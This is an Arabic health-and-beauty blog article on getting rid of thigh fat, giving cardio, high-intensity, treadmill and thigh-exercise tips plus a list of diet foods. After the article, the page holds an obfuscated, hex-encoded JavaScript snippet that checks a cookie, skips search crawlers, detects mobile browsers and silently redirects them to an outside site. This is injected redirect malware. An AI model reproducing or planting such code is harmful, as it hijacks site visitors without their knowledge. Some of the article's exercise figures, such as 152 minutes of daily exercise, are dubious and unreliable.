انا ايف عالمك المتميز فى وصفات الصحة والجمال و طريقة عمل وصفات طبخ ,اكلات و الوصفات الطبيعية , دايت,تخسيس كل ما يهم ايف

كيف تتخلصين من دهون الفخذين

كيف تتخلصين من دهون الفخذين

كيف تتخلصين من دهون الفخذين

كل الافراد الذين يعانون من زيادة في الوزن في أي منطقة في الجسم اول ما يخطر ببالهم كيف يمكنني ان اتخلص من هذا الوزن الزائد وهذه الدهون المتراكمة دون ان ابذل الكثير من المجهود ولكن الامر مختلف لمن يعانون من دهون الفخذين وزيادة وزنهما بشكل ملحوظ لان هذه المنطقة تحتاج الي الكثير من التدريبات الشاقة بخلاف أي منطقة اخري في الجسم لذا عليكم التحلي بالصبر والإرادة للتخلص من هذه الدهون المتراكمة في اجسامكم وفي هذه المقالة سوف نقدم لكم بعض النصائح التي تساعد في التخلص من الدهون المتراكمة في منطقة الفخذين

 

كيف تتخلصين من دهون الفخذين
كيف تتخلصين من دهون الفخذين

 

  • تمرين عضلة القلب

من اهم التمرينات التي لابد ان يقوم بها كل شخص بالغ فجسم الشخص البالغ يحتاج الي 152 دقيقة من التمرينات الرياضية اليومية سواء في المنزل او بالذهاب الي صالة الألعاب الرياضية أي كانت طريقة أداء التمرينات فعضلة القلب تحتاج لهذا الوقت من التمرين حتى تتمتع بصحة جيدة كما يمكنك ممارسة ركوب الدراجات فهي من الرياضات التي تساعد في حرق كميات كبيرة من السعرات الحرارية فعند ممارسة ركوب الدراجات لساعة واحدة يمكنك فقد 800 سعرة حرارية

  • التدريبات البدنية القوية

لابد من ممارسة التمرينات الرياضية القوية التي تهتم بالتخلص من الدهون المتراكمة في الجسم عن طريق حرق أكبر كمية ممكنة من السعرات الحرارية وكلما زادت سرعة التدريب الخاصة بك كلما زادت معدلات حرق الدهون في جسمك ويمكنك التدريب على التمرينات عالية القوة والتي تساعد في حرق الدهون بنسبة مضاعفة مقارنة بالتمرينات الرياضية العادية

  • التمرينات الجماعية

جهاز المشي من الأجهزة التي تساعدك في دخول أجواء التدريب بشكل رائع فاستخدام مثل هذه الأجهزة في الجري لفترات طويلة يساعدك في حرق كميات كبيرة من الدهون ويسخن الجسم حتى يتمكن من مواصلة التمرينات الأخرى وبالتالي يساعد الجسم في حرق كمية أكبر من الدهون المتراكمة

  • التمارين الخاصة بالفخذين

هناك العديد من التمرينات الرياضية التي يمكنك القيام بها في صالة الألعاب الرياضية والتي تهتم بمنطقة الفخذية مثل رفع الساق جانبا والتمرينات المخصصة لمرونة العضلات والبطن وتمرين القرفصاء كل هذه التدريبات تساعدك في الدهون المتراكمة في منطقة الخصر

  • النظام الغذائي الصحي

لابد من معرفة كمية السعرات الحرارية التي يحتاج اليها الجسم وبعد ذلك عليك احتساب كمية السعرات الحرارية الموجودة في وجباتك وذلك حتى تتمكن من اذابة هذه الدهون المتراكمة في جسمك وهناك العديد من الأطعمة التي تساعدك على ذلك مثل ” التفاح – البيض – الشوفان – العدس – سمك السلمون – التوت – القمح – الشوكولاتة الداكنة – الافوكادو ”

 

 

 

 

 var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

التعليقات مغلقة.